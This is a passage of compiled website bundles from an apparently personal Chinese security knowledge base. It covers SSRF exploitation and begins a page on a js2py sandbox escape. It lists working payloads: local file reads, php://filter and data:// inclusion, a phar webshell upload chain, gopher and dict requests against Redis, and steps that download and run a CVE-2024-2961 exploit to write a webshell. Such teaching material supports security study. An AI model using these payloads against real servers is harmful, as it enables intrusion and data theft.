n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(n.header,{children:(0,p.jsx)(n.h1,{id:"ssrf\u6f0f\u6d1e",children:"SSRF\u6f0f\u6d1e"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,p.jsxs)(n.table,{children:[(0,p.jsx)(n.thead,{children:(0,p.jsxs)(n.tr,{children:[(0,p.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,p.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,p.jsx)(n.tbody,{children:(0,p.jsxs)(n.tr,{children:[(0,p.jsx)(n.td,{style:{textAlign:"left"},children:(0,p.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,p.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:32:16"})]})})]}),"\n",(0,p.jsx)(n.h2,{id:"\u6f0f\u6d1e\u4ecb\u7ecd",children:"\u6f0f\u6d1e\u4ecb\u7ecd"}),"\n",(0,p.jsxs)(n.p,{children:[(0,p.jsx)(n.strong,{children:"SSRF"}),"\uff1a\u5168\u79f0 Server-Side Request Forgery\uff0c\u5373 \u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\u3002\u662f\u4e00\u4e2a\u7531\u653b\u51fb\u8005\u6784\u9020\u8bf7\u6c42\uff0c\u5728\u76ee\u6807\u670d\u52a1\u7aef\u6267\u884c\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8be5\u6f0f\u6d1e\u4f7f\u670d\u52a1\u5668\u7aef\u5411\u653b\u51fb\u8005\u6784\u9020\u7684\u4efb\u610f\u57df\u53d1\u51fa\u8bf7\u6c42\uff0c\u76ee\u6807\u901a\u5e38\u662f\u4ece\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5229\u7528\u670d\u52a1\u5668\u6f0f\u6d1e\u4ee5\u670d\u52a1\u5668\u7684\u8eab\u4efd\u53d1\u9001\u4e00\u6761\u6784\u9020\u597d\u7684\u8bf7\u6c42\u7ed9\u670d\u52a1\u5668\u6240\u5728\u5185\u7f51\u8fdb\u884c\u653b\u51fb\u3002"]}),"\n",(0,p.jsx)(n.h2,{id:"\u6f0f\u6d1e\u539f\u7406",children:"\u6f0f\u6d1e\u539f\u7406"}),"\n",(0,p.jsxs)(n.p,{children:["SSRF\u5168\u79f0\u4e3aServer-side Request Fogery,\u4e2d\u6587\u542b\u4e49\u4e3a\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\uff0c\u6f0f\u6d1e\u4ea7\u751f\u7684\u539f\u56e0\u662f\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u80fd\u591f\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u5e94\u7528\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\uff0c\u6bd4\u5982\u4ece\u6307\u5b9a\u7684URL\u5730\u5740\u83b7\u53d6\u7f51\u9875\u5185\u5bb9\uff0c\u52a0\u8f7d\u6307\u5b9a\u5730\u5740\u7684\u56fe\u7247\u3001\u6570\u636e\u3001\u4e0b\u8f7d\u7b49\u7b49\u3002\u6f0f\u6d1eURL\u793a\u4f8b: ",(0,p.jsx)(n.a,{href:"http://xxx.com/api/readFiles?url=http://10.1.11/xxx",children:"http://xxx.com/api/readFiles?url=http://10.1.11/xxx"})]}),"\n",(0,p.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5229\u7528",children:"\u6f0f\u6d1e\u5229\u7528"}),"\n",(0,p.jsx)(n.h3,{id:"\u5185\u7f51\u8bbf\u95ee",children:"\u5185\u7f51\u8bbf\u95ee"}),"\n",(0,p.jsx)(n.p,{children:"\u4f7f\u7528http\u534f\u8bae\u5bf9\u5185\u7f51\u7684Web\u5e94\u7528\u8fdb\u884c\u8bbf\u95ee"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"?url=http://127.0.0.1/flag.php\n"})}),"\n",(0,p.jsx)(n.h3,{id:"php\u4f2a\u534f\u8bae\u5229\u7528",children:"PHP\u4f2a\u534f\u8bae\u5229\u7528"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{className:"language-php",children:"file:// \u2014 \u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\nhttp:// \u2014 \u8bbf\u95ee HTTP(s) \u7f51\u5740\nftp:// \u2014 \u8bbf\u95ee FTP(s) URLs\nphp:// \u2014 \u8bbf\u95ee\u5404\u4e2a\u8f93\u5165/\u8f93\u51fa\u6d41\uff08I/O streams\uff09\nzlib:// \u2014 \u538b\u7f29\u6d41\ndata:// \u2014 \u6570\u636e\uff08RFC 2397\uff09\nglob:// \u2014 \u67e5\u627e\u5339\u914d\u7684\u6587\u4ef6\u8def\u5f84\u6a21\u5f0f\nphar:// \u2014 PHP \u5f52\u6863\nssh2:// \u2014 Secure Shell 2\nrar:// \u2014 RAR\nogg:// \u2014 \u97f3\u9891\u6d41\nexpect:// \u2014 \u5904\u7406\u4ea4\u4e92\u5f0f\u7684\u6d41\ndict:// - dict\n"})}),"\n",(0,p.jsx)(n.h4,{id:"1php\u534f\u8bae",children:"1.php://\u534f\u8bae"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"php://filter\nphp://input\n"})}),"\n",(0,p.jsx)(n.h5,{id:"phpfilter",children:"php://filter"}),"\n",(0,p.jsx)(n.p,{children:"\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4e3b\u8981\u7528\u4e8e\u8bfb\u53d6\u6e90\u4ee3\u7801\u5e76\u8fdb\u884cbase64\u7f16\u7801\u8f93\u51fa\u3002\npayload\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"php://filter/read=convert.base64-encode/resource=upload.php\n"})}),"\n",(0,p.jsxs)(n.p,{children:["\u5229\u7528",(0,p.jsx)(n.code,{children:"CVE-2024-2961"}),"\u53efRCE"]}),"\n",(0,p.jsx)(n.h5,{id:"phpinput",children:"php://input"}),"\n",(0,p.jsx)(n.p,{children:"\u8bbf\u95ee\u5404\u4e2a\u8f93\u5165/\u8f93\u51fa\u6d41\u3002CTF\u4e2d\u7ecf\u5e38\u4f7f\u7528file_get_contents\u83b7\u53d6php://input\u5185\u5bb9(POST)\uff0c\u9700\u8981\u5f00\u542fallow_url_include\uff0c\u5e76\u4e14\u5f53enctype=\u201dmultipart/form-data\u201d\u7684\u65f6\u5019 php://input\u662f\u65e0\u6548\u7684\u3002"}),"\n",(0,p.jsx)(n.h5,{id:"phpoutput",children:"php://output"}),"\n",(0,p.jsx)(n.p,{children:"php://output \u662f\u4e00\u4e2a\u53ea\u5199\u7684\u6570\u636e\u6d41\uff0c \u5141\u8bb8\u4f60\u4ee5 print \u548c echo \u4e00\u6837\u7684\u65b9\u5f0f \u5199\u5165\u5230\u8f93\u51fa\u7f13\u51b2\u533a\u3002"}),"\n",(0,p.jsx)(n.h5,{id:"phpmemoryphptemp",children:"php://memory&php://temp"}),"\n",(0,p.jsx)(n.p,{children:"php://memory \u548c php://temp \u662f\u4e00\u4e2a\u7c7b\u4f3c\u6587\u4ef6 \u5305\u88c5\u5668\u7684\u6570\u636e\u6d41\uff0c\u5141\u8bb8\u8bfb\u5199\u4e34\u65f6\u6570\u636e\u3002 \u4e24\u8005\u7684\u552f\u4e00\u533a\u522b\u662f php://memory \u603b\u662f\u628a\u6570\u636e\u50a8\u5b58\u5728\u5185\u5b58\u4e2d\uff0c \u800c php://temp \u4f1a\u5728\u5185\u5b58\u91cf\u8fbe\u5230\u9884\u5b9a\u4e49\u7684\u9650\u5236\u540e\uff08\u9ed8\u8ba4\u662f 2MB\uff09\u5b58\u5165\u4e34\u65f6\u6587\u4ef6\u4e2d\u3002 \u4e34\u65f6\u6587\u4ef6\u4f4d\u7f6e\u7684\u51b3\u5b9a\u548c sys_get_temp_dir() \u7684\u65b9\u5f0f\u4e00\u81f4\u3002\nphp://temp \u7684\u5185\u5b58\u9650\u5236\u53ef\u901a\u8fc7\u6dfb\u52a0 /maxmemory:NN \u6765\u63a7\u5236\uff0cNN \u662f\u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\u3001\u4fdd\u7559\u5728\u5185\u5b58\u7684\u6700\u5927\u6570\u636e\u91cf\uff0c\u8d85\u8fc7\u5219\u4f7f\u7528\u4e34\u65f6\u6587\u4ef6\u3002"}),"\n",(0,p.jsx)(n.h5,{id:"phpfd",children:"php://fd"}),"\n",(0,p.jsx)(n.h4,{id:"2file\u534f\u8bae",children:"2.file://\u534f\u8bae"}),"\n",(0,p.jsx)(n.p,{children:"file://\uff1a\u7528\u4e8e\u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\uff0c\u5e76\u4e14\u4e0d\u53d7allow_url_fopen\uff0callow_url_include\u5f71\u54cd\uff0cfile://\u8fd8\u7ecf\u5e38\u548ccurl\u51fd\u6570(SSRF)\u7ed3\u5408\u5728\u4e00\u8d77\u3002\u4f8b\u5b50\u4e00\uff0c\u4f8b\u5b50\u4e8c\n\u4f7f\u7528\u65b9\u6cd5\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file:// [\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84\u548c\u6587\u4ef6\u540d]\nfile:///etc/passwd\n"})}),"\n",(0,p.jsx)(n.p,{children:"ssrf poc gopher"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:'import urllib.parse\n\na = \\\n"""POST /index.php HTTP/1.1\nHost: 127.0.0.2:8080\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------21311722966185605194227162997\nContent-Length: 365\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n-----------------------------21311722966185605194227162997\nContent-Disposition: form-data; name="upfile"; filename="cmd.png"\nContent-Type: image/png\n\n\n\n-----------------------------21311722966185605194227162997\nContent-Disposition: form-data; name="submit"\n\n\u4e0a\u4f20\n-----------------------------21311722966185605194227162997--\n"""\n\ntmp = urllib.parse.quote(a)\nb = tmp.replace(\'%0A\',\'%0D%0A\')\nres = \'_\'+b\nprint("gopher://127.0.0.2:8080/"+res)\n'})}),"\n",(0,p.jsx)(n.h4,{id:"3phar\u534f\u8bae",children:"3.phar://\u534f\u8bae"}),"\n",(0,p.jsx)(n.p,{children:"phar://\uff1aPHP \u5f52\u6863\uff0c\u5e38\u5e38\u8ddf\u6587\u4ef6\u5305\u542b\uff0c\u6587\u4ef6\u4e0a\u4f20\u7ed3\u5408\u7740\u8003\u5bdf\u3002\u5f53\u6587\u4ef6\u4e0a\u4f20\u4ec5\u4ec5\u6821\u9a8cmime\u7c7b\u578b\u4e0e\u6587\u4ef6\u540e\u7f00\uff0c\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5229\u7528\u3002\u4f8b\u5b50\u4e00"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"nac.php(\u6728\u9a6c)->\u538b\u7f29->nac.zip->\u6539\u540e\u7f00->nac.jpg->\u4e0a\u4f20->phar://nac.jpg/nac.php\n"})}),"\n",(0,p.jsx)(n.h4,{id:"4zlib\u534f\u8bae",children:"4.zlib://\u534f\u8bae"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"zip://\uff1a\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a\n\nfile.php?file=zip://[\u538b\u7f29\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84]#[\u538b\u7f29\u6587\u4ef6\u5185\u7684\u5b50\u6587\u4ef6\u540d]\nfile.php?file=zip://nac.jpg#nac.php \u5176\u4e2dget\u8bf7\u6c42\u4e2d#\u9700\u8981\u8fdb\u884c\u7f16\u7801\uff0c\u5373%23\n"})}),"\n",(0,p.jsx)(n.p,{children:"bzip2://\uff1a\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file.php?file=compress.bzip2://nac.bz2\nfile.php?file=compress.bzip2://./nac.jpg\nfile.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg\n"})}),"\n",(0,p.jsx)(n.p,{children:"zlib://\uff1a\u5728allow_url_fopen\uff0callow_url_include\u90fd\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file.php?file=compress.zlib://file.gz\nfile.php?file=compress.zlib://./nac.jpg\nfile.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg\n"})}),"\n",(0,p.jsx)(n.h4,{id:"5data\u534f\u8bae",children:"5.data://\u534f\u8bae"}),"\n",(0,p.jsx)(n.p,{children:"data://\uff1a\u9700\u6ee1\u8db3allow_url_fopen\uff0callow_url_include\u540c\u65f6\u5f00\u542f\u624d\u80fd\u4f7f\u7528\uff0c\u4f7f\u7528\u5982\u4e0b\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"file.php?file=data://text/plain,\nfile.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=\nfile.php?file=data:text/plain,\nfile.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=\n"})}),"\n",(0,p.jsx)(n.h4,{id:"6phar\u548czip",children:"6.phar\u548czip"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.a,{href:"https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/",children:"https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/"})}),"\n",(0,p.jsx)(n.h3,{id:"cve-2024-2961",children:"CVE-2024-2961"}),"\n",(0,p.jsxs)(n.p,{children:["\u5229\u7528",(0,p.jsx)(n.code,{children:"php://filter"}),"\u548c",(0,p.jsx)(n.code,{children:"iconv()"}),"\u51fd\u65702.39\u8fdb\u884cRCE"]}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.a,{href:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md",children:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md"})}),"\n",(0,p.jsxs)(n.p,{children:["\u5728\u4f7f\u7528\u539f\u4f5c\u8005\u7ed9\u51fa\u7684",(0,p.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits",children:"exploit"}),"\u524d\uff0c\u4f60\u9700\u8981\u51c6\u5907\u4e00\u4e2aLinux\u73af\u5883\u548cPython 3.10\u89e3\u91ca\u5668\u3002"]}),"\n",(0,p.jsx)(n.p,{children:"\u5b89\u88c5\u4f9d\u8d56\uff1a"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"pip install pwntools\npip install https://github.com/cfreal/ten/archive/refs/heads/main.zip\n"})}),"\n",(0,p.jsxs)(n.p,{children:["\u7136\u540e\u4ece",(0,p.jsx)(n.a,{href:"https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py",children:"cnext-exploit"}),"\u4e0b\u8f7dPOC\u5e76\u6267\u884c\uff1a"]}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\npython cnext-exploit.py http://your-ip:8080/index.php \"echo '' > shell.php\"\n"})}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642389.png",alt:"1"})}),"\n",(0,p.jsxs)(n.p,{children:["\u53ef\u89c1\uff0c\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u5199\u5165",(0,p.jsx)(n.code,{children:"shell.php"}),"\uff1a"]}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642390.png",alt:"2"})}),"\n",(0,p.jsx)(n.h3,{id:"gopher",children:"Gopher"}),"\n",(0,p.jsxs)(n.p,{children:[(0,p.jsx)(n.strong,{children:"gopher"}),"\uff1agopher\u534f\u8bae\u652f\u6301\u53d1\u51faGET\u3001POST\u8bf7\u6c42\uff1a\u53ef\u4ee5\u5148\u622a\u83b7get\u8bf7\u6c42\u5305\u548cpost\u8bf7\u6c42\u5305\uff0c\u518d\u6784\u9020\u6210\u7b26\u5408gopher\u534f\u8bae\u7684\u8bf7\u6c42\u3002gopher\u534f\u8bae\u662fssrf\u5229\u7528\u4e2d\u4e00\u4e2a\u6700\u5f3a\u5927\u7684\u534f\u8bae\uff08\u4fd7\u79f0\u4e07\u80fd\u534f\u8bae\uff09\u3002"]}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsxs)(n.strong,{children:["\u516c\u7f51IP\u7684VPS\u76d1\u542c ",(0,p.jsx)(n.code,{children:"2333"})," \u7aef\u53e3"]})}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"[root@host ~]# nc -lvp 2333\nNcat: Version 6.40 ( http://nmap.org/ncat )\nNcat: Listening on :::2333\nNcat: Listening on 0.0.0.0:2333\n"})}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.strong,{children:"\u5229\u7528 gopher \u534f\u8bae\u8bbf\u95ee"})}),"\n",(0,p.jsxs)(n.p,{children:["\u6d4f\u89c8\u5668\u76f4\u63a5\u8bbf\u95ee\u6216\u8005\u7528 ",(0,p.jsx)(n.code,{children:"curl url"})]}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello\n"})}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.strong,{children:"\u6536\u5230\u56de\u663e"})}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"[root@host ~]# nc -lvp 2333\nNcat: Version 6.40 ( http://nmap.org/ncat )\nNcat: Listening on :::2333\nNcat: Listening on 0.0.0.0:2333\nNcat: Connection from 183.xxx.xxx.xxx.\nNcat: Connection from 183.xxx.xxx.xxx:9661.\nhello\n"})}),"\n",(0,p.jsx)(n.h3,{id:"dict",children:"Dict"}),"\n",(0,p.jsxs)(n.p,{children:["\u56e0\u4e3a\u6b64\u5904 ",(0,p.jsx)(n.code,{children:"ssrf.php"})," \u7684\u6f0f\u6d1e\u4ee3\u7801\u6709\u56de\u663e\uff0c\u6240\u4ee5\u6d4f\u89c8\u5668\u76f4\u63a5\u8bbf\u95ee"]}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info\n"})}),"\n",(0,p.jsx)(n.p,{children:"\u6216\u8005\u7ec8\u7aef"}),"\n",(0,p.jsx)(n.pre,{children:(0,p.jsx)(n.code,{children:"curl http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info\n"})}),"\n",(0,p.jsx)(n.p,{children:"\u53ef\u4ee5\u83b7\u53d6Redis\u7684\u914d\u7f6e\u4fe1\u606f"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642391.png",alt:"Redis\u914d\u7f6e"})}),"\n",(0,p.jsx)(n.p,{children:"\u540c\u7406\u4e5f\u53ef\u4ee5\u6dfb\u52a0\u6216\u8005\u67e5\u770bRedis\u7684\u4fe1\u606f"}),"\n",(0,p.jsx)(n.p,{children:"\u67e5\u770bRedis\u5b58\u50a8\u7684\u5185\u5bb9"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191642393.png",alt:"2"})}),"\n",(0,p.jsx)(n.h3,{id:"cve-2021-21287",children:"CVE-2021-21287"}),"\n",(0,p.jsx)(n.p,{children:(0,p.jsx)(n.a,{href:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html",children:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html"})}),"\n",(0,p.jsx)(n.h1,{id:"reference",children:"Reference"}),"\n",(0,p.jsxs)(n.ul,{children:["\n",(0,p.jsx)(n.li,{children:(0,p.jsx)(n.a,{href:"https://marmalade.vip/phpweixieyizongjie.html#toc-heading-2",children:"https://marmalade.vip/phpweixieyizongjie.html#toc-heading-2"})}),"\n",(0,p.jsx)(n.li,{children:(0,p.jsx)(n.a,{href:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html",children:"https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,p.jsx)(n,{...e,children:(0,p.jsx)(d,{...e})}):d(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>h,x:()=>r});var l=i(96540);const p={},t=l.createContext(p);function h(e){const n=l.useContext(t);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(p):e.components||p:h(e.components),l.createElement(t.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/f809c367.8a07cf74.js b/assets/js/f809c367.8a07cf74.js new file mode 100644 index 0000000..f5c8158 --- /dev/null +++ b/assets/js/f809c367.8a07cf74.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[247],{7954:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/eca2ceab4a2e8483ad4416c424a9111d-59de62547ef850bb9db0075867f2dc8f.png"},16335:(e,s,n)=>{n.d(s,{A:()=>t});const t=n.p+"assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png"},22619:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>r,contentTitle:()=>i,default:()=>p,frontMatter:()=>d,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/04.JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/04.JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa"},"next":{"title":"Handlebars-AST\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165"}}');var c=n(74848),a=n(28453);const d={},i="JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397",r={},l=[{value:"0x01 \u73af\u5883",id:"0x01-\u73af\u5883",level:2},{value:"0x02 \u524d\u6cbf",id:"0x02-\u524d\u6cbf",level:2},{value:"0x03 \u5206\u6790",id:"0x03-\u5206\u6790",level:2},{value:"0x04 POC",id:"0x04-poc",level:2}];function o(e){const s={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(s.table,{children:[(0,c.jsx)(s.thead,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(s.tbody,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.td,{style:{textAlign:"left"},children:(0,c.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(s.td,{style:{textAlign:"left"},children:"2024-06-23 01:02:22"})]})})]}),"\n",(0,c.jsx)(s.header,{children:(0,c.jsx)(s.h1,{id:"js2py\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61cve-2024-28397",children:"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"})}),"\n",(0,c.jsx)(s.h2,{id:"0x01-\u73af\u5883",children:"0x01 \u73af\u5883"}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"pip install js2py <= 0.74 #latest\n"})}),"\n",(0,c.jsx)(s.h2,{id:"0x02-\u524d\u6cbf",children:"0x02 \u524d\u6cbf"}),"\n",(0,c.jsxs)(s.p,{children:["\u65e0\u610f\u5728git\u4e0a\u770b\u5230\u4e00\u4e2a\u5173\u4e8e ",(0,c.jsx)(s.a,{href:"https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape",children:"CVE-2024-28397"})," \u7684POC\uff0cjs2py\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u5728js\u4ee3\u7801\u4e2d\u83b7\u5f97\u4e00\u4e2apython\u5bf9\u8c61\u7684\u5f15\u7528\uff0c\u4f7f\u5f97\u653b\u51fb\u8005\u53ef\u4ee5\u9003\u9038js\u73af\u5883\uff0c\u5728\u4e3b\u673a\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u7528\u6237\u4e00\u822c\u4f1a\u8c03\u7528",(0,c.jsx)(s.code,{children:"js2py.disable_pyimport()"}),"\u963b\u6b62JS\u4ee3\u7801\u4f7f\u7528",(0,c.jsx)(s.code,{children:"pyimport"}),"\u8c03\u7528python\u6a21\u5757\uff0c\u4ece\u800c\u9632\u6b62\u4ee3\u7801\u6c99\u76d2\u9003\u9038\u3002\u4f46\u662f\u4f7f\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u7ed5\u8fc7\u8fd9\u4e2a\u9650\u5236\uff0c\u5728\u4e3b\u673a\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002"]}),"\n",(0,c.jsx)(s.h2,{id:"0x03-\u5206\u6790",children:"0x03 